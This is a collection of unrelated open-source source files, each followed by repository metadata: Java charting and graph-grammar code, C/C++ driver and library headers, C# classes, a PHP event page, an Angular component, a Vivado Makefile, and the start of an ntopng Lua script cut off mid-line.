(bIn1 < bIn2)) countConcordant++; else countDiscordant++; } } } if (countConcordant + countDiscordant > 0) score = (float) (countConcordant - countDiscordant) / (float) (countConcordant + countDiscordant); else score = 0; //System.err.println(classA+" vs "+classB+": conc: "+countConcordant+" disc: "+countDiscordant+" score: "+score); } break; } if (showCoOccurring && 100 * score >= getMinProbability() || showAntiOccurring && -100 * score >= getMinProbability()) { Edge e = graph.newEdge(className2Node.get(classA), className2Node.get(classB)); graph.setInfo(e, score); edgeValue.put(e, score); // negative value indicates anticorrelated } } } } } /** * do embedding of graph */ private void embedGraph() { final FruchtermanReingoldLayout fruchtermanReingoldLayout = new FruchtermanReingoldLayout(graph, null); final NodeArray<APoint2D<?>> coordinates = new NodeArray<>(graph); fruchtermanReingoldLayout.apply(1000, coordinates); boolean first = true; for (Node v = graph.getFirstNode(); v != null; v = v.getNext()) { NodeData nodeData = (NodeData) v.getData(); nodeData.setLocation(coordinates.get(v).getX(), coordinates.get(v).getY()); if (first) { boundingBox.setRect(coordinates.get(v).getX(), coordinates.get(v).getY(), 1, 1); first = false; } else boundingBox.add(coordinates.get(v).getX(), coordinates.get(v).getY()); } boundingBox.setRect(boundingBox.getX() - maxRadius, boundingBox.getY() - maxRadius, boundingBox.getWidth() + 2 * maxRadius, boundingBox.getHeight() + 2 * maxRadius); } public int getMaxRadius() { return maxRadius; } public void setMaxRadius(int maxRadius) { this.maxRadius = maxRadius; } /** * draw the x axis * * @param gc */ protected void drawXAxis(Graphics2D gc) { } /** * draw the y-axis * * @param gc */ protected void drawYAxis(Graphics2D gc, Dimension size) { } protected void drawYAxisGrid(Graphics2D gc) { } public boolean canShowLegend() { return false; } public double getMinThreshold() { return minThreshold; } public void setMinThreshold(float minThreshold) { this.minThreshold = minThreshold; ProgramProperties.put("COMinThreshold", minThreshold); } public int getMinProbability() { return minProbability; } public void setMinProbability(int minProbability) { this.minProbability = minProbability; ProgramProperties.put("COMinProbability", minProbability); } public int getMinPrevalence() { return minPrevalence; } public void setMinPrevalence(int minPrevalence) { this.minPrevalence = minPrevalence; ProgramProperties.put("COMinPrevalence", minPrevalence); } public int getMaxPrevalence() { return maxPrevalence; } public void setMaxPrevalence(int maxPrevalence) { this.maxPrevalence = maxPrevalence; ProgramProperties.put("COMaxPrevalence", maxPrevalence); } public void setShowAntiOccurring(boolean showAntiOccurring) { this.showAntiOccurring = showAntiOccurring; ProgramProperties.put("COShowAntiOccurring", showAntiOccurring); } public boolean isShowAntiOccurring() { return showAntiOccurring; } public boolean isShowCoOccurring() { return showCoOccurring; } public void setShowCoOccurring(boolean showCoOccurring) { this.showCoOccurring = showCoOccurring; ProgramProperties.put("COShowCoOccurring", showCoOccurring); } public Method getMethod() { return method; } public void setMethod(Method method) { this.method = method; ProgramProperties.put("COMethod", method.toString()); } static class NodeData { private String label; private Integer prevalence; private Point2D location; String getLabel() { return label; } void setLabel(String label) { this.label = label; } Integer getPrevalence() { return prevalence; } void setPrevalence(Integer prevalence) { this.prevalence = prevalence; } Point2D getLocation() { return location; } public void setLocation(Point2D location) { this.location = location; } void setLocation(double x, double y) { this.location = new Point2D.Double(x, y); } } /** * must x and y coordinates by zoomed together? * * @return */ @Override public boolean isXYLocked() { return true; } /** * selects all nodes in the connected component hit by the mouse * * @param event * @return true if anything selected */ public boolean selectComponent(MouseEvent event) { final SelectionGraphics<String[]> selectionGraphics = new SelectionGraphics<>(getGraphics()); selectionGraphics.setMouseLocation(event.getPoint()); if (transpose) drawChartTransposed(selectionGraphics); else drawChart(selectionGraphics); Set<String> seriesToSelect = new HashSet<>(); Set<String> classesToSelect = new HashSet<>(); int count = 0; int size = selectionGraphics.getSelectedItems().size(); for (String[] pair : selectionGraphics.getSelectedItems()) { if (selectionGraphics.getUseWhich() == SelectionGraphics.Which.Last && count++ < size - 1) continue; if (pair[0] != null) { seriesToSelect.add(pair[0]); } if (pair[1] != null) { classesToSelect.add(pair[1]); } if (selectionGraphics.getUseWhich() == SelectionGraphics.Which.First) break; } if (transpose) { } else { Set<Node> toVisit = new HashSet<>(); for (Node v = graph.getFirstNode(); v != null; v = v.getNext()) { NodeData nodeData = (NodeData) v.getData(); if (classesToSelect.contains(nodeData.getLabel())) { toVisit.add(v); } } while (toVisit.size() > 0) { Node v = toVisit.iterator().next(); toVisit.remove(v); selectRec(v, classesToSelect); } } if (seriesToSelect.size() > 0) getChartData().getChartSelection().setSelectedSeries(seriesToSelect, true); if (classesToSelect.size() > 0) getChartData().getChartSelection().setSelectedClass(classesToSelect, true); return seriesToSelect.size() > 0 || classesToSelect.size() > 0; } /** * recursively select all nodes in the same component * * @param v * @param selected */ private void selectRec(Node v, Set<String> selected) { for (Edge e = v.getFirstAdjacentEdge(); e != null; e = v.getNextAdjacentEdge(e)) { Node w = e.getOpposite(v); String label = ((NodeData) w.getData()).getLabel(); if (!selected.contains(label)) { selected.add(label); selectRec(w, selected); } } } /** * gets all the labels shown in the graph * * @return labels */ public Set<String> getAllVisibleLabels() { Set<String> labels = new HashSet<>(); for (Node v = graph.getFirstNode(); v != null; v = v.getNext()) { labels.add(((NodeData) v.getData()).getLabel()); } return labels; } @Override public JToolBar getBottomToolBar() { return new CoOccurrenceToolBar(viewer, this); } @Override public ScalingType getScalingTypePreference() { return ScalingType.SQRT; } @Override public String getChartDrawerName() { return NAME; } }
danielhuson/megan-ce
src/megan/chart/drawers/CoOccurrenceDrawer.java
Java
gpl-3.0
27,067
/****************************************************************************** * * Project: FYBA Callbacks * Purpose: Needed by FYBA - however we do not want to display most messages * Author: Thomas Hirsch, <thomas.hirsch statkart no> * ****************************************************************************** * Copyright (c) 2010, Thomas Hirsch * Copyright (c) 2010, Even Rouault <even dot rouault at spatialys.com> * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. ****************************************************************************/ #include <windows.h> #include "fyba.h" static short sProsent; void LC_Error(short feil_nr, const char *logtx, const char *vartx) { char szErrMsg[260] = {}; char *pszFeilmelding = NULL; // Translate all to English. // Egen enkel implementasjon av feilhandtering /* Hent feilmeldingstekst og strategi */ const short strategi = LC_StrError(feil_nr,&pszFeilmelding); switch(strategi) { case 2: sprintf(szErrMsg,"%s","Observer følgende! \n\n");break; case 3: sprintf(szErrMsg,"%s","Det er oppstått en feil! \n\n");break; case 4: sprintf(szErrMsg,"%s","Alvorlig feil avslutt programmet! \n\n");break; default: /*szErrMsg[0]='\0';*/ break; } } void LC_StartMessage(const char *pszFilnavn) {} void LC_ShowMessage(double prosent) // TODO: prosent? {} void LC_EndMessage(void) {} short LC_Cancel(void) { // Not supported. return FALSE; }
grueni75/GeoDiscoverer
Source/Platform/Target/Android/core/src/main/jni/gdal-3.2.1/ogr/ogrsf_frmts/sosi/fyba_melding.cpp
C++
gpl-3.0
2,499
/* LUFA Library Copyright (C) Dean Camera, 2010. dean [at] fourwalledcubicle [dot] com www.fourwalledcubicle.com */ /* Copyright 2010 Dean Camera (dean [at] fourwalledcubicle [dot] com) Permission to use, copy, modify, distribute, and sell this software and its documentation for any purpose is hereby granted without fee, provided that the above copyright notice appear in all copies and that both that the copyright notice and this permission notice and warranty disclaimer appear in supporting documentation, and that the name of the author not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission. The author disclaim all warranties with regard to this software, including all implied warranties of merchantability and fitness. In no event shall the author be liable for any special, indirect or consequential damages or any damages whatsoever resulting from loss of use, data or profits, whether in an action of contract, negligence or other tortious action, arising out of or in connection with the use or performance of this software. */ /** \file * * Printer Device commands, to send/receive data to and from an attached USB * printer, and to send and receive Printer Class control requests. */ #include "PrinterCommands.h" /** Sends the given data directly to the printer via the data endpoints, for the sending of print commands in printer * languages accepted by the attached printer (e.g. PCL). * * \param[in] PrinterCommands Pointer to the data to send to the attached printer * \param[in] CommandSize Size of the data to send to the attached printer * * \return A value from the Pipe_Stream_RW_ErrorCodes_t enum */ uint8_t Printer_SendData(const void* const PrinterCommands, const uint16_t CommandSize) { uint8_t ErrorCode; Pipe_SelectPipe(PRINTER_DATA_OUT_PIPE); Pipe_Unfreeze(); if ((ErrorCode = Pipe_Write_Stream_LE(PrinterCommands, CommandSize)) != PIPE_RWSTREAM_NoError) return ErrorCode; Pipe_ClearOUT(); while (!(Pipe_IsOUTReady())) { if (USB_HostState == HOST_STATE_Unattached) return PIPE_RWSTREAM_DeviceDisconnected; } Pipe_Freeze(); return PIPE_RWSTREAM_NoError; } /** Issues a Printer class Get Device ID command to the attached device, to retrieve the device ID string (which indicates * the accepted printer languages, the printer's model and other pertinent information). * * \param[out] DeviceIDString Pointer to the destination where the returned string should be stored * \param[in] BufferSize Size in bytes of the allocated buffer for the returned Device ID string * * \return A value from the USB_Host_SendControlErrorCodes_t enum */ uint8_t Printer_GetDeviceID(char* DeviceIDString, const uint16_t BufferSize) { uint8_t ErrorCode = HOST_SENDCONTROL_Successful; uint16_t DeviceIDStringLength = 0; USB_ControlRequest = (USB_Request_Header_t) { .bmRequestType = (REQDIR_DEVICETOHOST | REQTYPE_CLASS | REQREC_INTERFACE), .bRequest = REQ_GetDeviceID, .wValue = 0, .wIndex = 0, .wLength = sizeof(DeviceIDStringLength), }; Pipe_SelectPipe(PIPE_CONTROLPIPE); if ((ErrorCode = USB_Host_SendControlRequest(&DeviceIDStringLength)) != HOST_SENDCONTROL_Successful) return ErrorCode; if (!(DeviceIDStringLength)) { DeviceIDString[0] = 0x00; return HOST_SENDCONTROL_Successful; } DeviceIDStringLength = SwapEndian_16(DeviceIDStringLength); if (DeviceIDStringLength > BufferSize) DeviceIDStringLength = BufferSize; USB_ControlRequest.wLength = DeviceIDStringLength; if ((ErrorCode = USB_Host_SendControlRequest(DeviceIDString)) != HOST_SENDCONTROL_Successful) return ErrorCode; /* Move string back two characters to remove the string length value from the start of the array */ memmove(&DeviceIDString[0], &DeviceIDString[2], DeviceIDStringLength - 2); DeviceIDString[DeviceIDStringLength - 2] = 0x00; return HOST_SENDCONTROL_Successful; } /** Issues a Printer class Get Port Status command to the attached device, to retrieve the current status flags of the * printer. * * \param[out] PortStatus Pointer to the destination where the printer's status flag values should be stored * * \return A value from the USB_Host_SendControlErrorCodes_t enum */ uint8_t Printer_GetPortStatus(uint8_t* const PortStatus) { USB_ControlRequest = (USB_Request_Header_t) { bmRequestType: (REQDIR_DEVICETOHOST | REQTYPE_CLASS | REQREC_INTERFACE), bRequest: REQ_GetPortStatus, wValue: 0, wIndex: 0, wLength: sizeof(uint8_t), }; Pipe_SelectPipe(PIPE_CONTROLPIPE); return USB_Host_SendControlRequest(PortStatus); } /** Issues a Printer class Soft Reset command to the attached device, to reset the printer ready for new input without * physically cycling the printer's power. * * \return A value from the USB_Host_SendControlErrorCodes_t enum */ uint8_t Printer_SoftReset(void) { USB_ControlRequest = (USB_Request_Header_t) { .bmRequestType = (REQDIR_HOSTTODEVICE | REQTYPE_CLASS | REQREC_INTERFACE), .bRequest = REQ_SoftReset, .wValue = 0, .wIndex = 0, .wLength = 0, }; Pipe_SelectPipe(PIPE_CONTROLPIPE); return USB_Host_SendControlRequest(NULL); }
m3741/due_eeprom
LUFA 100807/Demos/Host/LowLevel/PrinterHost/Lib/PrinterCommands.c
C
gpl-3.0
5,593
/* ------------------------------------------------------------------ * GEM - Graphics Environment for Multimedia * * Copyright (c) 2002-2011 IOhannes m zmölnig. forum::für::umläute. IEM. zmoelnig@iem.at * zmoelnig@iem.kug.ac.at * For information on usage and redistribution, and for a DISCLAIMER * OF ALL WARRANTIES, see the file, "GEM.LICENSE.TERMS" * * this file has been generated... * ------------------------------------------------------------------ */ #ifndef _INCLUDE__GEM_OPENGL_GEMGLVIEWPORT_H_ #define _INCLUDE__GEM_OPENGL_GEMGLVIEWPORT_H_ #include "Base/GemGLBase.h" /* CLASS GEMglViewport KEYWORDS openGL 0 DESCRIPTION wrapper for the openGL-function "glViewport( GLint x, GLint y, GLsizei width, GLsizei height)" */ class GEM_EXTERN GEMglViewport : public GemGLBase { CPPEXTERN_HEADER(GEMglViewport, GemGLBase); public: // Constructor GEMglViewport (t_float, t_float, t_float, t_float); // CON protected: // Destructor virtual ~GEMglViewport (); // Do the rendering virtual void render (GemState *state); // variables GLint x; // VAR virtual void xMess(t_float); // FUN GLint y; // VAR virtual void yMess(t_float); // FUN GLsizei width; // VAR virtual void widthMess(t_float); // FUN GLsizei height; // VAR virtual void heightMess(t_float); // FUN private: // we need some inlets t_inlet *m_inlet[4]; // static member functions static void xMessCallback (void*, t_floatarg); static void yMessCallback (void*, t_floatarg); static void widthMessCallback (void*, t_floatarg); static void heightMessCallback (void*, t_floatarg); }; #endif // for header file
rvega/morphasynth
vendors/pd-extended-0.43.4/externals/Gem/src/openGL/GEMglViewport.h
C
gpl-3.0
1,691
package io.nadron.app.impl; public class InvalidCommandException extends Exception { /** * Eclipse generated serial id. */ private static final long serialVersionUID = 6458355917188516937L; public InvalidCommandException(String message) { super(message); } public InvalidCommandException(String message, Exception e) { super(message,e); } }
wangxiaogangan/EC_Game
Server/elementproject/nadron/src/main/java/io/nadron/app/impl/InvalidCommandException.java
Java
gpl-3.0
360
/* *** Triangle Storage Class *** src/render/trianglechopper.h Copyright T. Youngs 2013-2015 This file is part of uChroma. uChroma is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. uChroma is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with uChroma. If not, see <http://www.gnu.org/licenses/>. */ #ifndef UCHROMA_TRIANGLES_H #define UCHROMA_TRIANGLES_H #include "gui/viewer_primitive.h" #include "math/matrix.h" // Forward Declarations class Primitive; // Triangle Chopper class TriangleChopper { public: // Constructor / Destructor TriangleChopper(); ~TriangleChopper(); private: // Starting z-depth of chopper double startZ_; // Number of slices int nSlices_; // Slice width double sliceWidth_; // Triangle Lists Primitive *triangleLists_; // Clear all existing trianglelists void clear(); public: // Initialise structure void initialise(double startz, int nbins, double slicewidth); // Empty all stored triangles, but retain storage void emptyTriangles(); // Store primitive's triangles void storeTriangles(Primitive *prim, Matrix &transform); // Sent triangles to GL (in correct order) void sendToGL(); }; #endif
trisyoungs/uchroma
src/render/trianglechopper.h
C
gpl-3.0
1,591
<?php include 'copyright.php' ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>Carnaval - BDL NDC </title> <?php include 'css.php';?> <?php include 'cssCA.php';?> <?php include 'js.php';?> <?php include_once("analyticstracking.php") ?> <?php include 'favicon.php';?> </head> <body> <?php include 'header.php';?> <div class="container"> <div class="row"> <div class="box"> <div> <a href="BH.php" class="linkbehaviour pull-left"> <i class="fa fa-lg fa-long-arrow-left"></i> <span class="fa-lg">Bal d'Hiver</span> </a> <a href="JDT.php"class="linkbehaviour pull-right arrows"> <span class="fa-lg">Journée des Talents</span> <i class="fa fa-lg fa-long-arrow-right"> </i> </a> </div> <br><br> <br><!-- <div class="camera-link text-center"> <a href="https://www.facebook.com/pg/bdlndc1617/photos/?tab=album&album_id=1513152382046078"> <i class="fa fa-camera fa-3x"></i> <span class="text">Album n°1</span> </a> <a href="https://www.facebook.com/pg/bdlndc1617/photos/?tab=album&album_id=1524974864197163"> <i class="fa fa-camera fa-3x"></i> <span class="text">Album n°2</span> </a> <br>Retrouve les photos du Carnaval 2017 ici ! </div>--> <hr class="tagline-divider"> <h3 class="text-center">Carnaval 2017</h3> <hr class="tagline-divider" style="margin-bottom:20px;"> <div class="col-lg-6"> <img class="img-responsive img-full" src="img/CA16-17.jpg"> </div> <div class="col-lg-6"> <p class="text-center">Suivant la restriction sur les déguisements pour Halloween, le BDL a décidé d'introduire une nouvelle journée à thème en mars.<br> Contrairement à d'habitude, le thème n'est pas fixé, mais choisi par vous et votre classe !!<br> Chaque classe choisit son propre thème, n'oubliez pas de faire participer vos professeurs principaux, ils n'attendent que ça !<br> L'évènement est prévu pour le jeudi 23 Mars, mais il devrait être décalé au jeudi 16 Mars au vu des différents séjours de classe prévu la semaine du 23.<br> Tenez-vous au courant !</p> </div> <!--<br> <hr> <br> <div class="col-lg-12"> <br> <hr> <br> <?php include 'slideCA.php' ?> </div> --> </div> </div> </div> <?php include 'footer.php';?> </body> </html>
BDL-NDC/bdlsite
CA.php
PHP
gpl-3.0
2,625
<?php /** * SfGuardPermission form. * * @package trialsites * @subpackage form * @author Herlin R. Espinosa G. - CIAT-DAPA * @version SVN: $Id: sfDoctrineFormTemplate.php 23810 2009-11-12 11:07:44Z Kris.Wallsmith $ */ class SfGuardPermissionForm extends BaseSfGuardPermissionForm { public function configure() { } }
CCAFS/CCAFS-AgTrialsV2
lib/form/doctrine/SfGuardPermissionForm.class.php
PHP
gpl-3.0
340
/* * GrGen: graph rewrite generator tool -- release GrGen.NET 4.4 * Copyright (C) 2003-2015 Universitaet Karlsruhe, Institut fuer Programmstrukturen und Datenorganisation, LS Goos; and free programmers * licensed under LGPL v3 (see LICENSE.txt included in the packaging of this file) * www.grgen.net */ /** * @author Edgar Jakumeit */ package de.unika.ipd.grgen.ast.exprevals; import java.util.Collection; import java.util.Map; import java.util.Vector; import de.unika.ipd.grgen.ast.*; import de.unika.ipd.grgen.ast.util.CollectResolver; import de.unika.ipd.grgen.ast.util.DeclarationResolver; import de.unika.ipd.grgen.ast.util.DeclarationTypeResolver; import de.unika.ipd.grgen.ir.IR; import de.unika.ipd.grgen.ir.InheritanceType; import de.unika.ipd.grgen.ir.exprevals.ExternalFunctionMethod; import de.unika.ipd.grgen.ir.exprevals.ExternalProcedureMethod; import de.unika.ipd.grgen.ir.exprevals.ExternalType; /** * A class representing a node type */ public class ExternalTypeNode extends InheritanceTypeNode { static { setName(ExternalTypeNode.class, "external type"); } private CollectNode<ExternalTypeNode> extend; /** * Create a new external type * @param ext The collect node containing the types which are extended by this type. */ public ExternalTypeNode(CollectNode<IdentNode> ext, CollectNode<BaseNode> body) { this.extendUnresolved = ext; becomeParent(this.extendUnresolved); this.bodyUnresolved = body; becomeParent(this.bodyUnresolved); // allow the conditional operator on the external type OperatorSignature.makeOp(OperatorSignature.COND, this, new TypeNode[] { BasicTypeNode.booleanType, this, this }, OperatorSignature.condEvaluator ); } /** returns children of this node */ @Override public Collection<BaseNode> getChildren() { Vector<BaseNode> children = new Vector<BaseNode>(); children.add(getValidVersion(extendUnresolved, extend)); children.add(getValidVersion(bodyUnresolved, body)); return children; } /** returns names of the children, same order as in getChildren */ @Override public Collection<String> getChildrenNames() { Vector<String> childrenNames = new Vector<String>(); childrenNames.add("extends"); childrenNames.add("body"); return childrenNames; } private static final CollectResolver<ExternalTypeNode> extendResolver = new CollectResolver<ExternalTypeNode>( new DeclarationTypeResolver<ExternalTypeNode>(ExternalTypeNode.class)); @SuppressWarnings("unchecked") private static final CollectResolver<BaseNode> bodyResolver = new CollectResolver<BaseNode>( new DeclarationResolver<BaseNode>(ExternalFunctionDeclNode.class, ExternalProcedureDeclNode.class)); /** @see de.unika.ipd.grgen.ast.BaseNode#resolveLocal() */ @Override protected boolean resolveLocal() { body = bodyResolver.resolve(bodyUnresolved, this); extend = extendResolver.resolve(extendUnresolved, this); // Initialize direct sub types if (extend != null) { for (InheritanceTypeNode type : extend.getChildren()) { type.addDirectSubType(this); } } return body != null && extend != null; } /** * Get the IR external type for this AST node. * @return The correctly casted IR external type. */ protected ExternalType getExternalType() { return checkIR(ExternalType.class); } /** * Construct IR object for this AST node. * @see de.unika.ipd.grgen.ast.BaseNode#constructIR() */ @Override protected IR constructIR() { ExternalType et = new ExternalType(getDecl().getIdentNode().getIdent()); if (isIRAlreadySet()) { // break endless recursion in case of a member of node/edge type return getIR(); } else{ setIR(et); } constructIR(et); return et; } protected void constructIR(ExternalType extType) { for(BaseNode n : body.getChildren()) { if(n instanceof ExternalFunctionDeclNode) { extType.addExternalFunctionMethod(n.checkIR(ExternalFunctionMethod.class)); } else { extType.addExternalProcedureMethod(n.checkIR(ExternalProcedureMethod.class)); } } for(InheritanceTypeNode inh : getExtends().getChildren()) { extType.addDirectSuperType((InheritanceType)inh.getType()); } } protected CollectNode<? extends InheritanceTypeNode> getExtends() { return extend; } @Override public void doGetCompatibleToTypes(Collection<TypeNode> coll) { assert isResolved(); for(ExternalTypeNode inh : extend.getChildren()) { coll.add(inh); coll.addAll(inh.getCompatibleToTypes()); } } public static String getKindStr() { return "external type"; } public static String getUseStr() { return "external type"; } @Override protected Collection<ExternalTypeNode> getDirectSuperTypes() { assert isResolved(); return extend.getChildren(); } @Override protected void getMembers(Map<String, DeclNode> members) { for(BaseNode n : body.getChildren()) { if(n instanceof ExternalFunctionDeclNode) { ExternalFunctionDeclNode function = (ExternalFunctionDeclNode)n; for(InheritanceTypeNode base : getAllSuperTypes()) { for(BaseNode c : base.getBody().getChildren()) { if(c instanceof ExternalFunctionDeclNode) { ExternalFunctionDeclNode functionBase = (ExternalFunctionDeclNode)c; if(function.ident.toString().equals(functionBase.ident.toString())) checkSignatureAdhered(functionBase, function); } } } } else if(n instanceof ExternalProcedureDeclNode) { ExternalProcedureDeclNode procedure = (ExternalProcedureDeclNode)n; for(InheritanceTypeNode base : getAllSuperTypes()) { for(BaseNode c : base.getBody().getChildren()) { if(c instanceof ExternalProcedureDeclNode) { ExternalProcedureDeclNode procedureBase = (ExternalProcedureDeclNode)c; if(procedure.ident.toString().equals(procedureBase.ident.toString())) checkSignatureAdhered(procedureBase, procedure); } } } } } } }
jblomer/GrGen.NET
frontend/de/unika/ipd/grgen/ast/exprevals/ExternalTypeNode.java
Java
gpl-3.0
5,929
using System; using System.Collections; using System.Collections.Generic; using System.Collections.ObjectModel; using System.IO; using System.Linq; namespace Abide.Tag { public class Block : ITagBlock, IEnumerable<Field>, IEquatable<Block> { private string name = string.Empty; private string displayName = string.Empty; private int alignment = 4; private int maximumElementCount = 0; public ObservableCollection<Field> Fields { get; } = new ObservableCollection<Field>(); public long BlockAddress { get; private set; } = 0; public int Size => GetBlockSize(); public int FieldCount => Fields.Count; public virtual int Alignment { get => alignment; private set => alignment = value; } public virtual int MaximumElementCount { get => maximumElementCount; private set => maximumElementCount = value; } public virtual string Name { get => name; private set => name = value; } public virtual string DisplayName { get => displayName; private set => displayName = value; } public string Label { get => GetLabel(); } protected Block() { } public object Clone() { Block b = new Block() { name = Name, displayName = DisplayName, alignment = Alignment, maximumElementCount = MaximumElementCount, BlockAddress = BlockAddress, }; foreach (var field in Fields) { b.Fields.Add((Field)field.Clone()); } return b; } public bool Equals(Block other) { bool equals = Fields.Count == other.Fields.Count && Name == other.Name; if (equals) for (int i = 0; i < Fields.Count; i++) { if (!equals) break; Field f1 = Fields[i], f2 = other.Fields[i]; equals &= f1.Type == f2.Type; if (equals) switch (Fields[i].Type) { case FieldType.FieldBlock: BlockField bf1 = (BlockField)f1; BlockField bf2 = (BlockField)f2; equals &= bf1.BlockList.Count == bf2.BlockList.Count; if (equals) for (int j = 0; j < bf1.BlockList.Count; j++) if (equals) equals = bf1.BlockList[j].Equals(bf2.BlockList[j]); break; case FieldType.FieldStruct: equals &= ((Block)f1.GetValue()).Equals((Block)f2.GetValue()); break; case FieldType.FieldPad: PadField pf1 = (PadField)f1; PadField pf2 = (PadField)f2; for (int j = 0; j < pf1.Length; j++) if (equals) equals &= pf1.Data[j] == pf2.Data[j]; break; default: if (f1.GetValue() == null && f2.GetValue() == null) continue; else equals &= f1.GetValue().Equals(f2.GetValue()); break; } } return equals; } public override string ToString() { return DisplayName; } public virtual void Initialize() { } public virtual void Read(BinaryReader reader) { if (reader == null) throw new ArgumentNullException(nameof(reader)); BlockAddress = reader.BaseStream.Position; foreach (Field field in Fields) { field.Read(reader); } } public virtual void Write(BinaryWriter writer) { if (writer == null) throw new ArgumentNullException(nameof(writer)); BlockAddress = writer.BaseStream.Position; foreach (Field field in Fields) { field.Write(writer); } } public virtual void Overwrite(BinaryWriter writer) { foreach (Field field in Fields) { field.Overwrite(writer); } } public virtual void PostWrite(BinaryWriter writer) { foreach (Field field in Fields) { field.PostWrite(writer); } } protected virtual string GetLabel() { if (Fields.Any(f => f.IsBlockName)) { return string.Join(", ", Fields .Where(f => f.IsBlockName) .Select(f => f.GetValueString())); } return DisplayName; } private int GetBlockSize() { int size = Fields.Sum(f => f.Size); return size; } public virtual IEnumerator<Field> GetEnumerator() { return Fields.GetEnumerator(); } ITagField ITagBlock.this[int index] { get => Fields[index]; set { if (value is Field field) { Fields[index] = field; } throw new ArgumentException("Invalid field.", nameof(value)); } } int ITagBlock.Size => Size; int ITagBlock.MaximumElementCount => MaximumElementCount; int ITagBlock.Alignment => Alignment; string ITagBlock.BlockName => Name; string ITagBlock.DisplayName => DisplayName; void ITagBlock.Initialize() { Initialize(); } void IReadable.Read(BinaryReader reader) { Read(reader ?? throw new ArgumentNullException(nameof(reader))); } void IWritable.Write(BinaryWriter writer) { Write(writer ?? throw new ArgumentNullException(nameof(writer))); } IEnumerator<ITagField> IEnumerable<ITagField>.GetEnumerator() { foreach (var field in Fields) yield return field; } IEnumerator IEnumerable.GetEnumerator() { return GetEnumerator(); } } }
MikeMatt16/Abide
Abide.Guerilla/Abide.Tag/Block.cs
C#
gpl-3.0
6,725
import { Component, OnInit } from '@angular/core'; import { Serie } from './model/serie.model'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent implements OnInit { constructor() { } ngOnInit() { } }
jorgeas80/webhub
ng2/appseries/src/app/app.component.ts
TypeScript
gpl-3.0
301
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.18444 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace Proxy.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); public static Settings Default { get { return defaultInstance; } } } }
vijayanand-is/dotnet-code
Learning C Sharp Design Patterns - Working Files/Chapter 3/Proxy/Proxy/Properties/Settings.Designer.cs
C#
gpl-3.0
1,062
#################################################################################### #################################################################################### ## Copyright 2011(c) Analog Devices, Inc. ## Auto-generated, do not modify! #################################################################################### #################################################################################### M_DEPS := axi_generic_adc_ip.tcl M_DEPS += ../scripts/adi_env.tcl M_DEPS += ../scripts/adi_ip.tcl M_DEPS += ../common/ad_rst.v M_DEPS += ../common/up_axi.v M_DEPS += ../common/up_delay_cntrl.v M_DEPS += ../common/up_xfer_cntrl.v M_DEPS += ../common/up_xfer_status.v M_DEPS += ../common/up_clock_mon.v M_DEPS += ../common/up_adc_channel.v M_DEPS += ../common/up_adc_common.v M_DEPS += axi_generic_adc.v M_VIVADO := vivado -mode batch -source M_FLIST := *.cache M_FLIST += *.data M_FLIST += *.xpr M_FLIST += *.log M_FLIST += component.xml M_FLIST += *.jou M_FLIST += xgui M_FLIST += .Xil .PHONY: all clean clean-all all: axi_generic_adc.xpr clean:clean-all clean-all: rm -rf $(M_FLIST) axi_generic_adc.xpr: $(M_DEPS) rm -rf $(M_FLIST) $(M_VIVADO) axi_generic_adc_ip.tcl >> axi_generic_adc_ip.log 2>&1 #################################################################################### ####################################################################################
r2t2sdr/r2t2
fpga/modules/adi_hdl/library/axi_generic_adc/Makefile
Makefile
gpl-3.0
1,403
-- -- (C) 2013-14 - ntop.org -- dirs = ntop.getDirs() package.path = dirs.installdir .. "/scripts/lua/modules/?.lua;" .. package.path -- io.write ("Session:".._SESSION["session"].."\n") require "lua_utils" sendHTTPHeader('text/html; charset=utf-8') ntop.dumpFile(dirs.installdir .. "/httpdocs/inc/header.inc") -- NOTE: in the home page, footer.lua checks the ntopng version -- so in case we change it, footer.lua must also be updated active_page = "home" dofile(dirs.installdir .. "/scripts/lua/inc/menu.lua") interface.find(ifname) ifstats = interface.getStats() is_loopback = isLoopback(ifname) iface_id = interface.name2id(ifname) -- Load from or set in redis the refresh frequency for the top flow sankey refresh = _GET["refresh"] refresh_key = 'ntopng.prefs.'.._SESSION["user"]..'.'..ifname..'.top_flow_refresh' if (refresh ~= nil) then ntop.setCache(refresh_key,refresh) else refresh = ntop.getCache(refresh_key) end -- Default frequency (ms) if (refresh == '') then refresh = 5000 end -- page = _GET["page"] if(page == nil) then if(not(is_loopback)) then page = "TopFlowTalkers" else page = "TopHosts" end end if((ifstats ~= nil) and 